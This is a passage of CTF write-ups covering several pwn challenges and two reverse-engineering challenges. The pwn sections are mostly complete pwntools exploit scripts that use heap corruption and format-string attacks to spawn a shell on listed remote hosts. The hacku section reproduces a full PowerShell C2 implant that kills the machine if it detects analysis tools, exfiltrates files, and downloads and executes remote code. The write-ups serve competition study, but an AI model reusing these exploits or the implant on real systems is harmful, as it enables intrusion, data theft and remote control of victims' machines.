    for _ in range(7):
        gd.destroy(0)

    gd.build('\x90', 0) # 2
    addr_heap_base      = u(gd.visit()[1][11:].split('Type')[0]) - 0x290
    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))

    for _ in range(2):
        gd.destroy(0)

    gd.blow()
    gd.build('\x78', 0) # 0
    addr_libc_mainarena = u(gd.visit()[0][11:].split('Type')[0]) - 0x58
    libc.address = addr_libc_mainarena - offset_libc_mainarena
    addr_libc_free_hook     = libc.symbols['__free_hook']
    addr_libc_system        = libc.sep_function['system']
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    gd.build('\x00', 0) # 3

    for _ in range(2):
        gd.destroy(1)

    gd.build(p64(addr_libc_free_hook), 0)   # 4
    gd.build('/bin/sh', 0)                  # 5
    gd.build(p64(addr_libc_system), 0)      # 6

    gd.destroy(5)

class Gundam:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def build(self, name, type):
        self.sendlineafter('choice : ', '1')
        self.sendafter('gundam :', name)
        self.sendlineafter('gundam :', str(type))

    def visit(self):
        self.sendlineafter('choice : ', '2')
        return self.recvuntil('1 . Build a gundam')[1:].split('\n\n')[0:-1]

    def destroy(self, index):
        self.sendlineafter('choice : ', '3')
        self.sendlineafter('Destory:', str(index))

    def blow(self):
        self.sendlineafter('choice : ', '4')

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()

#==========

once (Pwn)

doubly-linked list is used in the challenge.
I can control same link pointer so I can overwrite address to anywhere.
I overwrite vtable pointer of stdout to heap address and get shell.

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.189.102"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('./libc-2.23.so')
elf = ELF('./once')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        set environment LD_PRELOAD=./libc-2.23.so
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./once'], execute)
else:
    conn = process(['./once'])
    # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'})

# preparing for exploitation

def create():
    conn.sendlineafter('> ', '1')

def write(payload):
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.send(payload)

def free():
    conn.sendlineafter('> ', '3')

def malloc(size):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('input size:', str(size))
    conn.sendlineafter('> ', '4')

def _free():
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('> ', '4\x00yyyyyy')

def write_string(payload):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.sendline(payload)
#    conn.recvuntil('success.')
    conn.sendlineafter('> ', '4')


log.info('Pwning')

conn.sendlineafter('> ', '-1')
conn.recvline()
buf = conn.recv(len('0x7fbb53834690'))
libc_base = int(buf, 16) - 0x6f690
log.info('libc_bsae = 0x%x', libc_base)

write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2)
malloc(0x200)
payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e)
write_string(payload)
_free()

conn.recvuntil('>')
create()

conn.interactive()

d (Pwn)

There is a heap overflow and I can overwrite chunk size of next chunk.
I use unsafe unlink attackand control GOT.
Finally, I write system addres to __free_hook and get shell.

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.154.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute)
else:
    conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'])
    # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def read(idx, msg):
    conn.sendlineafter('Which? :', '1')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('msg:', msg)

def edit(idx, msg):
    conn.sendlineafter('Which? :', '2')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('new msg:', msg)

def wipe(idx):
    conn.sendlineafter('Which? :', '3')
    conn.sendlineafter('Which? :', str(idx))

def fsa(addr, byte):
    payload = ''


printf_plt = elf.plt['printf']
atoi_plt = elf.plt['atoi']
strlen_plt = elf.plt['strlen']
fake_chunk = 0x6021a0


log.info('Pwning')

read(0, 'x' * 0x138)
read(1, 'x' * 0x138)
read(2, 'x' * 0x138)
read(3, 'x' * 0x138)
read(4, 'y' * 0x138)
read(5, 'z' * 0x138)
read(6, 'z' * 0x138)
wipe(4)
read(4, 'a'* (0x138+19))
edit(4, 'x'*0xf8)
edit(4, 'x'*0xf0 + p64(0xf0))
payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10)
edit(4, payload)
wipe(5)

edit(6, '/bin/sh\x00')
edit(4, p64(0x602028))
edit(1, p64(printf_plt)[:6])

edit(0, '%2$p')
conn.recvuntil('Which? :')
conn.sendline('2')
conn.recvuntil('Which? :')
conn.sendline('0')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x3c6780
log.info('libc_base = 0x%x', libc_base)
conn.sendline('hoge')

edit(4, '%p')
edit(4, p64(0x602018))
edit(1, '%p')
edit(1, p64(libc_base + 0x45390)[:7])

conn.interactive()

babypwn (Pwn)

This is a simple Format String Attack challenge.
After leaking some addresses, I overwrite vtable pointer of stdin for getting PC.

#!/usr/bin/env python
from pwn import *

#context(os='linux', arch='unknown')
#context.log_level = 'debug' # output verbose log

RHOST = "47.75.182.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./a.out')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x4006ef
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./a.out'], execute)
else:
    conn = process(['./a.out'])
    # conn = process(['hogehoge'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def write(addr, byte):
    payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr)
    conn.sendline(payload)

log.info('Pwning')

# leak libc_base
conn.sendline('%41$p')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x20830
log.info('libc_base = 0x%x', libc_base)

stdin = libc_base + 0x3c48e0
stdin_vtable = libc_base + 0x3c49b8
fake_vtable = libc_base + 0x3c49c0
system = libc_base + 0x45390

# set ';sh' string
write(stdin+4, ord(';'))
write(stdin+5, ord('s'))
write(stdin+6, ord('h'))

# create fake vtable
for i in range(6):
    write(fake_vtable+0x28+i, ord(p64(system)[i]))

# overwrite stdin vtable ptr
a = (fake_vtable & 0xffff)
payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable)
conn.sendline(payload)

conn.interactive()

mutepig (Pwn)

This is a challenge based on a technique called house of rabbit
which is realeased a long time ago… But I’ve never seen It being used in any CTFs… Or maybe I just dont participate in
that CTF…

from pwn import *
context.log_level = 'debug'
io = process('./mutepig')
pause()

def menu(idx):
    io.sendline(str(idx))
    sleep(0.2)

def add(typ, content):
    menu(1)
    io.sendline(str(typ))
    sleep(0.2)
    io.send(content)

def delete(idx):
    menu(2)
    sleep(0.2)
    io.sendline(str(idx))

def edit(idx, content, name):
    menu(3)
    io.sendline(str(idx))
    sleep(0.2)
    io.send(content)
    sleep(0.5)
    io.send(name)

io.recv()
# make av->system_mem > 0xa00000
add(3, 'a' * 0x7)
delete(0)
add(3, 'b' * 0x7)
delete(1)

# free fast chunk and link to fastbins
add(1, 'd' * 0x7) # fast 2
add(2, 'f' * 0x7) # small 3
delete(2)

# Make fake_chunk on .bss and edit the fastbin's fd
g_buf = 0x602120
name = p64(0)
name += p64(0x11)
name += p64(0)
name += p64(0xfffffffffffffff1)
edit(2, p64(g_buf + 0x10)[:6], name)
pause()

# call malloc consolidate
delete(3)
pause()

# link unsorted bins to appropriate list
name = p64(0xfffffffffffffff0)
name += p64(0x10)
name += p64(0)
name += p64(0xa00001)
edit(2, 'c', name)
add(3, 'g' * 0x7)
name = p64(0xfffffffffffffff0)
name += p64(0x10)
name += p64(0)
name += p64(0xfffffffffffffff1)
edit(2, '/bin/sh', name)
#pause()

# overwrite the target variable
target = 0x6020c0
free_got = 0x602018
hack_addr = 0x4006e0
add(13337, 'a')

add(1, p64(free_got)[:6])
print 'now'
pause()
# edit free.got => hack
edit(0, p64(hack_addr)[:6], 'lowkey')

# call hack
pause()
delete(2)
io.interactive()

moliboom (Reverse)

From CyKor

In hacku challenge, there were a base64 string with part1 of the flag. After decoding it and saving with filename “moliboom”, the given binary for moliboom challenge accepted it as a lua 5.3 compiled file.
But there is some weirdness in the program and LuaC(lua compiled file) file: the binary readed every character of the file with 0x67 xored, and after applying xor, the original lua 5.3 interpreter couldn’t process the file. It caused segmentation fault instead.
After reversing the program for hours, I found that every opcode is changed, so the disassembler and decompiler does not work.

Comparing the program’s semantics with original lua interpreter’s one with inline expansion optimization in my mind, I found every opcode’s permutation (maybe some opcodes can be wrong, but the decompiler worked).
Below is the complete mapping, which is extracted using regexr.com and hexrays decompiler:

case   0 :  	 // LOADKX
case   1 :  	 // NEWTABLE
case   2 :  	 // MOVE
case   3 :  	 // LOADK
case   4 :  	 // SETTABLE
case   5 :  	 // LOADBOOL
case   6 :  	 // LOADNIL
case   7 :  	 // GETUPVAL
case   8 :  	 // SELF
case   9 :  	 // SETTABUP
case   0xA :  	 // SETUPVAL
case   0xB :  	 // GETTABLE
case   0xC :  	 // GETTABUP
case   0xD :  	 // BOR
case   0xE :  	 // SHR
case   0xF :  	 // MOD
case   0x10 :  	 // BXOR
case   0x11 :  	 // SUB
case   0x12 :  	 // BAND
case   0x13 :  	 // ADD
case   0x14 :  	 // SHL
case   0x15 :  	 // IDIV
case   0x16 :  	 // POW
case   0x17 :  	 // DIV
case   0x18 :  	 // MUL
case   0x19 :  	 // VARARG
case   0x1A :  	 // TFORCALL
case   0x1B :  	 // CONCAT
case   0x1C :  	 // UNM
case   0x1D :  	 // LEN
case   0x1E :  	 // TFORLOOP
case   0x1F :  	 // CALL
case   0x20 :  	 // SETLIST
case   0x21 :  	 // FORPREP
case   0x22 :  	 // TEST
case   0x23 :  	 // NOT
case   0x24 :  	 // JMP
case   0x25 :  	 // LE
case   0x26 :  	 // FORLOOP
case   0x27 :  	 // LT
case   0x28 :  	 // TAILCALL
case   0x29 :  	 // TESTSET
case   0x2A :  	 // EQ
case   0x2B :  	 // RETURN
case   0x2C :  	 // BNOT
case   0x2D : 	 // CLOSURE

After making this as enum like OP_CALL = 0x1F, OP_TFORLOOP = 0x1E, OP_LEN = 0x1D, OP_UNM = 0x1C, OP_CONCAT = 0x1B, … and just pasting it in lua 5.3 opcode header which is used in luadec, the disassembler and decompiler worked and did emit a lua code. The program worked in two steps:

  1. It loaded a string in the path indicated by “keyfile” variable (F0v1v), and compared it with “lt’s u t1m3”.
  2. It equals, then the lua program gets an input string, encodes through base64 with custom charset, and compares with hardcoded string which is made using some string concat and reverse.
  3. If correct, it prints HITBXCTF{ }.

I obtained second input by this python code:

import   string
s = 'mq+ASGk5ThmRCpJ5TxZvBqJoSG7cSGm3UfNQ'
tr = 'tWFpnJqPyk4iCsbOEZB2amfSMUYTVu0v+XLwH5hxrldKg13/czAoGNRe7Q8Ij96D'
std_base64chars  =   "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
trans  =   string.maketrans (tr, std_base64chars)
print  s.translate(trans).decode('base64')

Flag: HITBXCTF{Th2_Benev01ent_Has_N0_Enemy}

hacku (Reverse)

$Domain = '.hacku.org'
function R2V0LUNDbWQ($i)
{
        $result = (nslookup -q=txt -timeout=%d $i$Domain) | out-string
        $x = ''
        if ($result.Contains('"'))
        {
                $x = ([regex]::Match($result,'(?<=")[^"]*(?=")').Value)
        }
        return $x
}
function R2V0LVJhbmRvbQ()
{
        $number = get-random -maximum 30 -minimum 1
        return $number
}
function AGKWSWFKGUEGCFVOCIZAQJUPZIEHFU($sec)
{
        Start-Sleep -Seconds $sec
}
$stage = ''
for($i=1;; $i ++)
{
        $x = R2V0LUNDbWQ $i
        if ($x.length -lt 1)
        {
                break
        }
        $stage += $x
}

function cvt-b64-str( $b64 )
{
        return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64))
}

nslookup -type=TXT 1.hacku.org
$GET_FILE = 'get-fle'
$DOWN_EXEC = 'dow-exe'
$RUN_CMD = 'run-cmd'

$GET_REG = 'get-reg'
$GET_TASK = 'get-tak'
$GET_UPDATE = 'get-upd'
$GET_REP = 'get-rep'

$STATUS_INIT  = 0x0000
$STATUS_REGED = 0x8000
$STATUS_TASK  = $STATUS_REGED -bor 0x1
$STATUS_PADD  = $STATUS_REGED -bor 0x2


$url = 'http://192.168.99.234/cc/cc.php'
$status = $STATUS_INIT
$task = $null
$running = $True

$pubk = (1501,377753)

function get-Md5Hash($str)
{
    $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
    $utf8 = new-object -TypeName System.Text.UTF8Encoding
    $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($str)))
    return $hash -replace '-'
}

function get-ComputeName
{
    try
    {
        return (Get-WmiObject Win32_ComputerSystem).Name;
    } catch
    {
        return "ErrComputeName";
    }
}

function get-clientID
{
    try
    {
        $did = (wmic diskdrive get SerialNumber)
        $cid = get-Md5Hash $did
        return $cid
    }
    catch
    {
        $CompName = get-ComputeName
        return get-Md5Hash $CompName
    }
}
function Reg-Info
{
    $clientID = get-clientID
    $time = Get-Date
    $c = $GET_REG
    return @{c = $c ; x = $clientID ;e = $time ; i = 0} |  ConvertTo-Json
}
function get-Task
{
    $clientID = get-clientID
    $time = Get-Date
    $c = $GET_TASK
    return @{c = $c ; x = $clientID ;e = $time  ; i = 0} |  ConvertTo-Json
}
function EttRRRRRRhd ( $tid , $taskinfo )
{
    $clientID = get-clientID
    $time = Get-Date
    $c = $GET_REP
    return @{c = $c ; x = $clientID ;e = $taskinfo; i = $tid} |  ConvertTo-Json
}

function check_VM()
{
    $p = @("win32_remote","win64_remote64","ollydbg","ProcessHacker","tcpview","autoruns","autorunsc","filemon","procmon","regmon","procexp","idaq","idaq64","ImmunityDebugger","Wireshark","dumpcap","HookExplorer","ImportREC","PETools","LordPE","dumpcap","SysInspector","proc_analyzer","sysAnalyzer","sniff_hit","windbg","joeboxcontrol","joeboxserver")
    for ($i=0; $i -lt $p.length; $i++) {
        if(ps -name $p[$i] -ErrorAction SilentlyContinue){
            shutdown /s /f /t 0
            exit
        }
    }
}

function YTRKLJHBKJHJHGV($msg)
{
    while($True)
    {
        try
        {
            $content = $msg
            $webRq = [System.Net.WebRequest]::Create($url)
            $webRq.proxy = [Net.WebRequest]::GetSystemWebProxy()
            $webRq.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials


            #

            $content = YNHGFOI8YIUGH $content


            #
            $content = OPKE3989hYYY $pubk $content
            #

            #
            $content = YNHGFOI8YIUGH $content

            $enc = [System.Text.Encoding]::UTF8.GetBytes($content)

            #

            $webRq.Method = 'POST'
            $webRq.ContentLength = $enc.length


            if ($enc.length -gt 0)
            {
                $req_stream = $webRq.GetRequestStream()
                $req_stream.Write($enc , 0 , $enc.length)

            }

            [System.Net.WebResponse] $rep = $webRq.GetResponse()
            if ($rep -ne $null)
            {
                $data = $rep.GetResponseStream()
                [System.IO.StreamReader] $res_d = New-Object System.IO.StreamReader $data
                [String] $result = $res_d.ReadToEnd()
            }
        }
        catch
        {
            $result = 'err'
            #
        }

        if ($result -eq 'err')
        {

        }
        else
        {

            return $result
        }
    }
}

function POIUIGKJNBYFF($msg)
{

    $msg = OKMNHGGGGSSAAA $pubk $msg
    $msg = ConvertFrom-Json -InputObject $msg
    return $msg.r,$msg.e
}

function YNHGFOI8YIUGH( $str )
{
    return [Convert]::ToBase64String( [System.Text.Encoding]::Utf8.GetBytes($str))
}

function VCDHJIIDDSQQQ( $b64 )
{
    return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64))
}

function POPOUIUJKKKI($file)
{
    return YNHGFOI8YIUGH (Get-Content $file)
}

function MJOOLLFGFASA($name)
{
    $filelist = @()
    $result = @{}

    for ($i = 0x43 ; $i -lt 0x5b; ++ $i)
    {
        try
        {   $dc = '{0}:/' -f ([char]$i)
            $file = Get-ChildItem "$dc" -recurse $name | %{$_.FullName}
            if ($file.length -gt 0)
            {
                $filelist += $file
            }
        }
        catch
        {
            continue
        }
    }

    $result.ct = $filelist.length
    $result.dt = @()
    foreach( $f in $filelist)
    {
        $fd = POPOUIUJKKKI $f
        $result.dt += @{path=(YNHGFOI8YIUGH $f ); txt=$fd}
    }
    return ConvertTo-Json -InputObject $result
}


function DXCFGIOUUGKJB764($x, $h, $n)
{
   $y = 1
   while( $h -gt 0 )
   {
        if ( ( $h % 2 ) -eq 0)
        {
            $x = ($x * $x) % $n
            $h = $h / 2
        }else
        {
            $y = ($x * $y) % $n
            $h = $h - 1
        }
   }
   return $y
}

function OPKE3989hYYY($pk , $plaintext)
{
    $key , $n = $pk
    $arr = @()
    for ($i = 0 ; $i -lt $plaintext.length ; $i++)
    {
     $x = DXCFGIOUUGKJB764 ([int] $plaintext[$i]) $key $n
     $arr += $x
    }
    return $arr
}
function OKMNHGGGGSSAAA($pk,$enctext)
{
    $key , $n = $pk
    $txt = ""

    $enctext = VCDHJIIDDSQQQ $enctext
    [int[]]$enctab =  $enctext -split ' '
    foreach ($x in $enctab)
    {
        if ($x -eq 0)
        {
            continue
        }
        $x = DXCFGIOUUGKJB764 $x $key $n
        $txt += [char][int]$x
    }
    $txt = VCDHJIIDDSQQQ($txt)
    return $txt
}

function UIHIUHGUYGOIJOIHGIHGIH($cmd)
{
    $cmd = ConvertFrom-Json -InputObject $cmd
    $c = $cmd.c
    $i = $cmd.i
    $e = $cmd.e
    $x = $cmd.x

    #
    #

    if ($c -eq $GET_FILE)
    {

        $d = MJOOLLFGFASA $e
    }
    elseif ($c -eq $RUN_CMD)
    {

        $d = Invoke-Expression $e -ErrorAction SilentlyContinue
    }
    elseif ($c -eq $DOWN_EXEC)
    {

        $d = Invoke-Expression ((New-Object Net.WebClient).DownloadString("$e")) -ErrorAction SilentlyContinue
    }
return @($i , $d)
}


$MuName = 'Global\_94_HACK_U_HAHAHAHAHA'
$retFlag = $flase
$Result = $True
$MyMutexObj = New-Object System.Threading.Mutex ($true,$MuName,[ref]$retFlag)
if ($retFlag)
{
    $Result = $True
}
else
{
    $Result = $False
}

if ($Result)
{
    while($True -and $running)
    {

        if($status -eq $STATUS_INIT)
        {

            $OO0O0O0O00 = Reg-Info


            $ret = YTRKLJHBKJHJHGV($OO0O0O0O00)

            $r,$e = POIUIGKJNBYFF($ret)


            if ($r -eq 'yes' -and $e -eq 'ok_then_u_go')
            {
                $status = $STATUS_PADD


            }
        }
        if ($status -eq $STATUS_PADD)
        {


            $OO0O0O0O00 = get-Task

            $ret = YTRKLJHBKJHJHGV($OO0O0O0O00)
            $r,$e = POIUIGKJNBYFF($ret)
            if ($r -eq 'yes')
            {

                $task = $e
                $status = $STATUS_TASK
            }

        }
        if ($status -eq $STATUS_TASK)
        {


            #
            $ret = UIHIUHGUYGOIJOIHGIHGIH($task)
            $OO0O0O0O00 = EttRRRRRRhd $ret[0] $ret[1]
            $ret = YTRKLJHBKJHJHGV($OO0O0O0O00)

            $r,$e = POIUIGKJNBYFF($ret)
            if ($r -eq 'yes')
            {
                $status = $STATUS_PADD
                $task = $null
            }
        }

        sleep 3
    }
    $MyMutexObj.ReleaseMutex() | Out-Null
    $MyMutexObj.Dispose() | Out-Null
}
else
{

}
def DXCFGIOUUGKJB764(x, h, n):
   y = 1
   while(h > 0):
        if (h % 2) == 0:
            x = (x * x) % n
            h = h / 2
        else:
            y = (x * y) % n
            h = h - 1
   return y

# server to client
def dec_str(enctext):
    key = 1501
    n = 377753
    txt = ""

    enctext = enctext.decode('base64')
    enctab = map(int, enctext.strip().split(' '))
    for x in enctab:
        if(x == 0):
            continue
        x = DXCFGIOUUGKJB764(x, key, n)
        txt += chr(x & 0xff)

    # print(repr(txt))
    txt = txt.decode('base64')
    return txt

# client to server
def dec_str(enctext):
    key = 113251
    n = 377753
    txt = ""

    enctext = enctext.decode('base64')
    enctab = map(int, enctext.strip().split(' '))
    for x in enctab:
        if(x == 0):
            continue
        x = DXCFGIOUUGKJB764(x, key, n)
        txt += chr(x & 0xff)

    # print(repr(txt))
    txt = txt.decode('base64')
    return txt
{\r\n    "c":  "get-rep",\r\n    "e":  "{\\r\\n    \\"ct\\":  1,\\r\\n    \\"dt\\":  [\\r\\n               {\\r\\n                   \\"path\\":  \\"QzpcVXNlcnNcYjMzZlxEZXNrdG9wXGN0Zlxtb2xpYm9vbQ==\\",\\r\\n                   \\"txt\\":  \\"ZmxhZ19wYXR0MTogSElUQlhDVEZ7VzBya18xbl90aDNfZGFya18gIG1vbGlib29tX0I2NCAgZkNzU0JqUm5mdlJxYlgxdFkyTmpiMjhmTVdkbloyZG5aMmRuWjJkblR4QW5ablluU1VrN0NnZ0xEZ1VJQ0FwSkN4SUdaMmRuWjJkbloyZG5abVZvWjJkblpHZG5ad3BuWjJkdUorZm5DaWRuWjI0blorWUs1MmRuYmlmbjVncW5aMmR1SjJmbENtZG1aMjRuNStVcjV5ZG5EMmZuWnd4bloyZE1aK2RuWVdkbloyTmhJVmNSVmhGall4WVRGbU5nRkJNR0FBSldZMlFHQm1ObEYyTmdGQk1HQUFKVlptZG5aMlpuWW1kbloyZHFaMmRuZUdkbloyZG5ibDluWjJkckp5ZG5iT2NuWnlzbkoyY3NwNmRuNUdkbVp6am5aMlkwSjZabmVPZG5abTVuWitkckp5ZG5iT2NuWnlzbkoyY3NwNmRuNUtkbVp6am5aMlkwWjZWbmVPZG5abTVuWitSckp5ZG5iT2NuWnlzbkoyY3NwNmRuNU9kbFp6am5aMlkvSitmaWVPZG5abTVuNStOdUp5VGhicWNrNEc0bkkrOXVweVR1Ym1laTdtN25vdTF1WjZIc2J1ZWg2MjVub09wckp5Rm5LeWNpWjN3bloyZHVaK2ZwYTJjblp5dm5KbWZySnlWbnEyY2taMnZtSkdjcnBpSm42K1lqWjZ1bUkyZHJaU05uZkdkbFoyNW41K1JycHlabkt5Y2daM3duWjJkTVoyZG1UR2ZuWjNsbloyZGpZemdrT0dOZ0ZCTVZEZ2tBWTJJRUR3WVZZMklGSGhNQ1kyVkVkQzVuWjJkbloyZG5ZMkk0T0RNNFkyVUdkSFJuWjJkbloyZG5ZMkE0T0RnNElUaGpaV3AwWkdkbloyZG5aMmRqYlRnNE9EZzRDRFFJVjJObEZHTnNPRGc0T0RnNERnZ3VDMk5sUjJOdU9CNFZFQlFEQXdOalpWWmphamc0T0RnNE9EZzRPQ280T0dOcE9EZzRPRGc0T0RnNE9BWTRPR05sRTJOdU9GOE5EMVJURlZKalpWUmphemc0T0RnNE9EZ2tKbGNJWTJVU1kyQTREaEllWGw5alpRcGpkVGc0T0RnNE9EZzRPRGc0T0RnNEFEZzRZMElITWpna0JnazRJd2c0TGhNSFJ3VWVPQ29mQ1I0NE5BWWVPRE1QRGhRVUZCUkhYVTVqWlFWbVoyZG5aMmRuWjJkblgyZG5aMmxuWjJkcFoyZG5hV2RuWjJsbloyZHBaMmRuYVdkbloybG5aMmRwWjJkbmFXZG5aMmhuWjJkb1oyZG5hR2RuWjJobloyZG9aMmRuYUdkbloyaG5aMmRvWjJkbmFHZG5aM2RuWjJkM1oyZG5kMmRuWjNkbloyZDNaMmRuZDJkblozZG5aMmQzWjJkbmQyZG5aM1puWjJkMVoyZG5kR2RuWjNObloyZHlaMmRuY1dkblozQm5aMmQvWjJkbmZtZG5aM3huWjJkOFoyZG5mR2RuWjN4bloyZDdaMmRuZTJkblozdG5aMmQ3WjJkbmUyZG5aM3RuWjJkN1oyZG5lMmRuWjN0bloyZDdaMmRuZTJkblozbG5aMmQ1WjJkbmVXZG5aM2xuWjJkNFoyZG5aMmRuWjJabloyZGlPQ0lwTVdkR1oyZG5WV2RuWjJkblluNW5aMmRyWnlkbmJDY25aeTFuNTJmazUyZG5lT2ZuWmdwbloyY05weWRuUXlkazUrOG5KbWRrNW1abitPZm5abTduWitYclp5Wm5wV2ZuWjdqbjUyZTQ1K2RuVGFkblprT25aK2ZycHlabnEyY21aODluWjJiTVoyZG41R2RsWjh4bloyWk1aK2RuYm1kbloyTmtEZ2hqWWdnWEFnbGpaUlZuWTJJTUFoNVdZMklWQWdZRFkySk5CZ3NMWTJRVVZuUm5aMmRuWjJkbloyVm5aMmRuWjJablptZG5aMmRDWjJkblRtZG5aMmRuWldSbloyZEtaMmRuVEdkblpreG41MmRuWjJkblptZG5aMmRuWm1kbloyZEJaMmRuVDJkbloyZG5aV05uWjJkclp5ZG5UMmZuWjB4bloyZE1aK2RuWm1kbloyTmpGaE1XWm1kbloyZG5aMmRuWjJObloyZEFaMmRuUUdkblowQm5aMmRQWjJkbloyZG5aMlpuWjJkaU9DSXBNV1JuWjJkUFoyZG5UMmRuWjA1bloyZG5aMmRuWm1kbloySTRJaWt4Zm1kblowUm5aMmRFWjJkblJHZG5aMFJuWjJkRVoyZG5UbWRuWjB4bloyZE1aMmRuUzJkblowdG5aMmRMWjJkblMyZG5aMHBuWjJkS1oyZG5TbWRuWjBwbloyZEtaMmRuU21kblowbG5aMmRKWjJkblNXZG5aMGxuWjJkV1oyZG5WbWRuWjFWbloyZGxaMmRuWWdFT0N3SmlaMmRuZm1kbloyRWZCQWdEQW1GbloyZCtaMmRuWldkbloySTRJaWt4Ynd3Q0hnRU9Dd0puVTJkblp5Tm5aMmRuWjJ4N1oyZG5abWRuWWlSbloyZmtKMmRucE9kbloyU21aMmNrWm1abjVDWm1aNlRtWm1ka3BXWm5KR1ZsWitRbFpXZEhKMmRpSk9kbFordW5KV2VsWjJkbitHZG1aa1BuWitlbFp1ZG5aV1ZuWkR4bjVXVDk1MmRuZWVhWkdNcG5aMmVsWjJkbVpXYm5aNDluWjJhTVoyZG5UR2ZuWjJ0bloyZGpaUTlqWlROalpWSmpaUXhqWlNCalpUUmpaU1pqWlV4alpSWmpaUXBqWm1OaEZ3WU9GUlJtWjJkbloyZG1aMmRuWjF4bloyY21aMmRuWm1kc2QyZG5aeVJuWjJmNloyZG5wQ2RuWjJUbVoyZkdwMmJuNVdiblo2dW1KMmVzWnFaa1pXVm5aeVZsNTJYbFplZGx1T1puWlR5blptVEI1NW9ZREdkblpreG41MmRpWjJkblkyWjBabWRuWjJkbloyZDBtSmlZbUppWW1KaGpZQlFURlE0SkFHTmpGQklGWm1kbloyZG5aMmRuWjNkbloyZGJaMmRuV21kbloxcG5aMmRhWjJkbldtZG5aMWxuWjJkWloyZG5XV2RuWjFsbloyZFpaMmRuV1dkbloxbG5aMmRaWjJkbldtZG5aeWRuWjJjbVoyZG5ZV2RuWjJVVVoyZG5aM2RuWjJkbEZXWm5aMmQzWjJkbmEwOEJDQlZIRGdrREFoOU9ZMmRuWjJsbloyZHJUd0VJRlVjTERnb09FMDVqWjJkbmFXZG5aMnhQQVFnVlJ4UVRBaGRPWTJkbloybG5aMmRsRG1KbloyZHFaMmRuWm1kbloySTRJaWt4ZTJkbloxSm5aMmRTWjJkblVtZG5aMUpuWjJkU1oyZG5VbWRuWjFKbloyZFNaMmRuVW1kbloxSm5aMmRTWjJkblVtZG5aMUZuWjJkUVoyZG5VR2RuWjFCbloyZFFaMmRuWDJkbloxOW5aMmRmWjJkblVHZG5aMUJuWjJjbVoyZG5KR2RuWnlSbloyY2taMmRuSkdkblp5Tm5aMmR2WjJkblpSZHJaMmRuZTJkbloyVVZhbWRuWjN0bloyZDNUd0VJRlVjQUFna0NGUVlUQ0JWT2QyZG5aM0ZuWjJkclR3RUlGVWNVRXdZVEFrNTNaMmRuY1dkbloybFBBUWdWUndRSUNSTVZDQXRPZDJkblozRm5aMmRsREhabloyZHpaMmRuWlJGMloyZG5jMmRuWjI4VkFoRUNGUlFDY0dkblozdG5aMmRtWjJkbllqZ2lLVEZuSVdkblp6Wm5aMmRuWjJsRFoyZG5hMmNuWjNqbjUyY2tKMmRuNU9kblo2Wm5aMlJrcG1k